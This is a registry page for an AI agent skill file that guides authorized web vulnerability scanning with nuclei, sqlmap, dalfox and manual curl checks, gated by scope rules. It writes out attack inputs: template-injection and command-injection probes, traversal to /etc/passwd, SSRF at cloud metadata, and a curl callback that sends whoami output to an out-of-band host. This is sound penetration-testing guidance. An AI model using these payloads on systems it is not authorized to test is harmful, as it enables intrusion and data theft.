agentleFS
raphaelbleierraphaelbleier/mythos-sec/skills/web-scan/SKILL.md

web-scan

Skill2 starsChanged 15 days agoMITView on GitHub

Web vulnerability scanning playbook for a Mythos engagement — run nuclei, dalfox, sqlmap, nikto and targeted manual checks in the Kali toolbox against the surface recon mapped, then triage candidates with evidence. Use after recon, when active scanning is authorized, to find XSS, SQLi, SSTI, SSRF, injection, traversal, open-redirect, auth/JWT/CORS/BOLA and misconfig issues.

The file

We split this skill into the rules it gives an agent

10 rules. About 0 are common, 4 are distinctive, and 6 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈4

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 6

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Very specific:

    If the target has a login, run auth-session first and repeat steps 1 to 5 with the session (nuclei -sf, dalfox --cookie/-H, sqlmap …

    line 18
  2. Very specific:

    Start with what recon actually saw.

    line 41
  3. Distinctive:

    Keep probing while the evidence moves.

    line 45
  4. Distinctive:

    If output is not reflected it is blind — see the blind section below.

    line 95
  5. Distinctive:

    BOLA / IDOR, BFLA, mass assignment, races, workflow abuse: run the

    line 148
  6. Very specific:

    Use the OOB collaborator for blind SQLi/SSRF/RCE/XXE:

    line 156
  7. Very specific:

    Check on any response: missing Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options.

    line 182
  8. Very specific:

    Keep engagements/<dir>/scan/coverage.md up to date while scanning, one row per (class, endpoint), so the report can say what was tested, …

    line 189
  9. Very specific:

    Write candidates.md at the root of the engagement directory, not under scan/: the phase does not close without that file, and the exploit …

    line 213
  10. Distinctive:

    Write down the classes you looked for and found nothing on.

    line 222

≈ “Common” is an estimate: at least 1 in 5 of the 408,460 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Web scan — find the vulnerabilities

Find real issues on the surface recon mapped. Read recon.md, surface.json and cve-candidates.json from the engagement directory first. Run active tools only when scope.rules.allow_active is true. Everything runs in the toolbox through the shell tool, which drops the scripts/mythos prefix the command lines below carry (see the toolbox skill). Save raw output under engagements/<dir>/scan/.

Work one injection point at a time where it matters; the WSL host is RAM-limited, so do not run nuclei + sqlmap + a browser at once.

If the target has a login, run auth-session first and repeat steps 1 to 5 with the session (nuclei -sf, dalfox --cookie/-H, sqlmap --cookie, see the table there). Run session-check before each step.

0. Probe your hypotheses first

The ranked parameter list from scripts/probe is your work queue: each entry names the parameter, where it was seen, and the class to try.

Work the whole queue in one call: the script tool, name verify, args ["--from-probe"] with the probe map on stdin, which means a shell pipeline:

python3 /repo/scripts/probe <target> --depth 2 --json | python3 /repo/scripts/verify --from-probe

scripts/verify sends one benign canary per aim point (GET only, rate-limited, nothing destructive) and prints the request/response pair for every class that answered, plus the aim points that stayed quiet. Use its output as evidence, then work the quiet ones and anything behind a POST or a login by hand. verify <url> --param <name> --classes xss,sqli targets one point and needs no pipeline, so it runs through the script tool directly.

Start with what recon actually saw. For each promising parameter, id or form, name the bug class it suggests and send one aimed request with the request tool. That is cheaper than a scanner and it lands in the record as one request.

Keep probing while the evidence moves. One well-aimed request beats a template scan on a small app, and it tells you which class to escalate.

Reach for the templated scanners below when the hand probes are exhausted, or when the surface is large or unknown. nuclei and dalfox earn their cost on many endpoints, not on four pages.

1. Broad templated scan — nuclei

scripts/mythos nuclei -u <URL> -rl <rate> -c 10 \
  -tags cve,exposure,misconfiguration,default-login,xss,sqli,ssrf,lfi,redirect \
  -severity low,medium,high,critical -stats

Scope nuclei by tag to control memory (do not run the full template set on a large SPA at once). Triage each match: confirm it is real, not a generic banner.

2. XSS — dalfox on parameterized endpoints

scripts/mythos sh "cat engagements/<dir>/recon/urls.txt | grep '=' | qsreplace FUZZ \
  | dalfox pipe --skip-bav --silence --format json" > engagements/<dir>/scan/dalfox.json

For a single endpoint: scripts/mythos dalfox url '<URL-with-param>' --silence. Confirm the reflection context (HTML / attribute / JS / URI) before claiming it. Stored or blind XSS (input rendered to other users or admins) goes to stored-xss-oast; a dalfox hit there is only a candidate.

3. SQLi — confirm, do not dump

scripts/mythos sqlmap -u '<URL-with-param>' --batch --level 2 --risk 1 \
  --technique=BEUST --banner --threads 2

Capture the injectable parameter, DBMS and technique. --banner is proof enough; never dump real data. For JSON/body params pass --data and -p <param>. Blind SQLi: let sqlmap confirm with --technique=BT.

4. Targeted manual checks (fast, precise, low-noise)

Reason about each promising point and test it directly with curl in the toolbox. Pick payloads by the stack recon found.

  • SSTI (template engines): inject ${7*7}, {{7*7}}, <%= 7*7 %>, #{7*7}; a reflected 49 confirms. Escalate per engine (Jinja2: {{config}}, {{self.__init__.__globals__}}; Twig/Freemarker accordingly).
  • Command injection: ;id, |id, $(id), backtick `id`, %0aid. If output is not reflected it is blind — see the blind section below.
  • SSRF: point a URL param at an OOB collaborator (step 6) or at http://169.254.169.254/latest/meta-data/ and http://host.docker.internal.
  • Path traversal / LFI: ../../../../etc/passwd, ....//, URL-encoded %2e%2e%2f, null-byte/? truncation, php://filter for source read.
  • Open redirect: ?next=//evil.example, ?url=https://evil.example, ?redirect=/\evil.example; follow with -I and read Location.
  • CRLF: %0d%0aSet-Cookie:mythos=1 in a header-reflected param. For the whole surface rather than one param, crlfuzz is wired:
scripts/tools crlf '<URL>' --json

It checks the destination against scope.yaml before crlfuzz starts and derives its concurrency from rules.rate_limit_rps (crlfuzz has no requests-per-second flag). A hit is a candidate, never confirmed: crlfuzz saw an injected CRLF become a header boundary, which is the right oracle for the class but is not impact. Replay it by hand and read the raw response — the finding is what the injected header achieves (a Set-Cookie the victim keeps, a poisoned cache key, a split response), and knowledge/web/cache-poisoning.md is why a reflected header alone is not a report.

scripts/mythos sh "curl -s -G '<URL>' --data-urlencode 'q={{7*7}}' | grep -o '49' && echo SSTI-LIKELY"

5. Auth / API / access-control

  • JWT: scripts/tools jwt <token> decodes it with no request at all and names the live check per row (alg:none, a symmetric alg, a kid/jku the server resolves, a missing exp). Add --target <URL> --canary '<string only an authenticated response contains>' to run jwt_tool's playbook against a scope-checked URL, paced from rules.rate_limit_rps. The canary is required, and it is also the oracle: if jwt_tool's anonymous control matches it too, the whole run comes back as one inconclusive row instead of thirty false candidates. jwt_tool's own "vulnerable" lines come back as candidates, because it compared one substring in one response and not an authorization outcome. The bare form is scripts/mythos jwt_tool <token> -M at, which is the same playbook plus the claim fuzzers, unpaced and with the same -cv/-rh requirement. Do not guess the signing secret. jwt_tool -C -d <wordlist> is offline credential brute force, hooks/scope-guard.py refuses brute force in every mode and no scope rule overrides it, and this skill used to name it with rockyou by path. A symmetric alg is a candidate because of alg:none and RS→HS key confusion, both of which are single requests; it is not an invitation to crack.
  • CORS: send Origin: https://evil.example; a reflected Access-Control-Allow-Origin + -Allow-Credentials: true is a finding.
  • API excessive data exposure: diff what the UI needs vs what the endpoint returns (extra PII, internal fields).
  • BOLA / IDOR, BFLA, mass assignment, races, workflow abuse: run the business-logic skill (Subject x Object x Action matrix, bola-diff, mass-assign, race) with the userA/userB sessions from auth-session. Guard against token/auth params that just break the session (not a real finding).

6. Blind / out-of-band (no reflected output)

Use the OOB collaborator for blind SQLi/SSRF/RCE/XXE:

scripts/mythos sh 'interactsh-client -json'    # prints a *.oast.* domain; watch for hits

Inject a callback to that domain, e.g. command injection ;curl http://<id>.oast.fun/$(whoami) or SSRF ?url=http://<id>.oast.fun. A DNS/ HTTP hit confirms execution and can exfiltrate data via the subdomain. For a space-filtered command context use brace expansion {curl,http://<id>.oast.fun} or ${IFS} instead of spaces. For a purely boolean/time oracle, confirm with a timing payload (;sleep 5) before attempting char-by-char exfil.

In the lab there is no internet egress: use the lab catcher instead of interactsh (scripts/mythos net mythos-lab, callback http://oast:8080/<token>, log http://oast:8080/__log).

6b. Deep server classes

Serialized blobs, XML/SOAP/SAML/SVG/DOCX input, a CDN or caching proxy, or a proxy chain in front of the app: run deep-server (deserialization, XXE, cache poisoning/deception, request smuggling). Its scanners produce candidates only; proof is an OOB token or a differential pair.

7. Passive config checks (always, zero risk)

Check on any response: missing Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options; cookies without Secure/HttpOnly/SameSite; verbose Server/X-Powered-By; directory listing; stack traces in error responses.

Coverage matrix

Keep engagements/<dir>/scan/coverage.md up to date while scanning, one row per (class, endpoint), so the report can say what was tested, not just what was found. States are the closure states from exploit, plus untested and n/a (class does not apply to this endpoint):

| class | endpoint (method path param) | role(s) | tool / check | state | evidence / reason |
|---|---|---|---|---|---|
| sqli | GET /search q | anon | sqlmap BT | rejected(no boolean diff) | scan/sqlmap-search.log |
| xss-stored | POST /api/comments text | userA->userB | xss-verify | reproduced | scan/xss-mx1a2b3c4d.png |
| bola | GET /api/orders/{id} | userA,userB,anon | bola-diff | candidate | scan/bola.jsonl line 4 |
| mass-assign | PUT /api/users/{id} role | userA | mass-assign probe | untested | |
| race | POST /api/redeem code | userA | race threads | validated(seq 1 / par 4, x2) | findings/F-03.md |
| smuggling | * front proxy | anon | smuggler | n/a(single server, no proxy) | |

Classes to cover per endpoint type: every parameter (sqli, xss, ssti, cmdi, traversal, ssrf, redirect), every object id (bola, bfla), every write (mass-assign, csrf), every one-shot action (race, workflow), every XML or blob input (xxe, deserialization), the site once (headers, cors, cache, smuggling, jwt).

Output: candidate findings

Write candidates.md at the root of the engagement directory, not under scan/: the phase does not close without that file, and the exploit phase reads it there. One entry per thing worth an exploitation attempt, ordered by what you would try first, each with class, severity, affected URL and parameter, one evidence snippet (the request + the proving response), and its closure state (candidate / reproduced / rejected(reason); nothing is validated before the exploit validator pass). Everything here is unproven by definition, so do not write it as if it were a finding, and never weaponize in this phase.

Write down the classes you looked for and found nothing on. The exploit phase starts with an empty context and needs to know what has already been eliminated.

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.